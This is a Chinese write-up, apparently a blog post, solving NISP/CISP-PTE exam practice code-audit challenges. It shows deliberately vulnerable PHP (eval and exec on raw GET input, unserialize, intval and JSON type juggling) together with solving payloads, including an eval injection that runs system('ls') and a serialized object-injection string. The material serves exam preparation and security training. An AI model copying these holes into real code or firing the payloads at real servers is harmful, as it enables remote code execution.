NISP-PTE基础实操——代码审计

pte代码审计模拟1

源代码如下:

php 复制代码
<?php 
error_reporting(0); 
$a = $_GET['a']; 
eval("\$ret = strtolower(\"$a\");"); 
echo $ret; 
show_source(__FILE__); 
?>
  • 接收参数 $a,构造为:

    eval("$ret = strtolower(\"$a\");");

  • eval() 动态执行,构成代码注入点;

  • show_source(__FILE__) 可看到源码,确认存在 eval()

  • strtolower() 是幌子,核心漏洞在于 $a无过滤拼接进 eval 字符串,可以闭合字符串并注入任意语句。

🚨 1. 漏洞本质

  • 代码注入 + eval 执行

  • 你可以闭合 strtolower(") 后直接注入任意 PHP 代码;

  • 攻击载荷执行在服务器端,能使用的函数包括 system()passthru()shell_exec()file_get_contents() 等。

🚀 2. 验证 RCE 是否可行

测试命令执行:

/index.php?a=");system("ls");//

执行逻辑还原:

eval('$ret = strtolower("");system("ls");//");');

此时 system("ls") 被执行,终端结果回显。

/index.php?a=");system("ls

pte代码审计模拟2

php 复制代码
<?php
error_reporting(0); 
show_source(__FILE__);
if(strlen($_GET[1]<30)){
    echo strlen($_GET[1]);
    echo exec($_GET[1]);
}else{
    exit('too more');
}
?>

pte代码审计模拟3

php 复制代码
<?php
error_reporting(0);
include "flag.php";
$TEMP = "CISP";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{
    echo "$flag";
}
show_source(__FILE__);

/index.php?str=s:4:"CISP";
/index.php?str=s%3A4%3A"CISP"%3B 

pte代码审计模拟4

php 复制代码
<?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
    is_numeric(@$a["bar1"]) ? die("nope") : NULL;
    if (@$a["bar1"]) {
        ($a["bar1"] > 2020) ? $v1 = 1 : NULL;
    }
    if (is_array(@$a["bar2"])) {
        if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
            die("nope");
        }
        $pos = array_search("cisp-pte", $a["bar3"]);
        $pos === false ? die("nope") : NULL;
        foreach ($a["bar2"] as $key => $val) {
            $val == "cisp-pte" ? die("nope") : NULL;
        }
        $v2 = 1;
    }
}
if ($v1 && $v2) {
    include "key.php";
    echo $key;
}
highlight_file(__file__);
?>

/?w={"bar1":"2025a","bar2":[[],"a","b","c","d"],"bar3":["cisp-pte"]}

pte代码审计模拟6

php 复制代码
阅读源码,获取flag。


$tis = "我们可以让您生活更轻松";

$gp = $_GET['cx'];


if($gp) {

if(preg_match("/[0-9]/", $gp)) {

$tis = "输入的只能是字符";

} else {

if(intval($gp)) {

$flag = @file_get_contents("../../../flag.txt");

if($flag === false) {

$flag = "flag{file_not_found}";

}

$tis = $flag;

} else {

$tis = "只差一步就可以拿到Flag";

}

}

}

?>

pte代码审计模拟7

pte代码审计模拟8

php 复制代码
某些PHP intval函数在处理时会出现些问题!


$gp = isset($_GET['cx']) ? $_GET['cx'] : '';


if ($gp) {

if(intval(" .$gp.")<1001 && intval($gp +1)>10000){

$flag = file_get_contents("../../../flag.txt");

$tis = "验证通过!Flag: " . $flag;

$class = "success";

} else {

$tis = "验证失败,请检查输入参数";

$class = "error";

}

} else {

$tis = "请输入测试参数";

$class = "error";

}

pte代码审计模拟9

一个json对象搞定

pte代码审计模拟10

O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}

相关推荐
tingshuo291737 分钟前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
用户962377954485 小时前
DVWA 靶场实验报告 (High Level)
安全
火柴就是我5 小时前
让我们实现一个更好看的内部阴影按钮
android·flutter
数据智能老司机8 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机8 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544810 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star10 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
砖厂小工12 小时前
用 GLM + OpenClaw 打造你的 AI PR Review Agent — 让龙虾帮你审代码
android·github
张拭心12 小时前
春节后,有些公司明确要求 AI 经验了
android·前端·人工智能
张拭心13 小时前
Android 17 来了!新特性介绍与适配建议
android·前端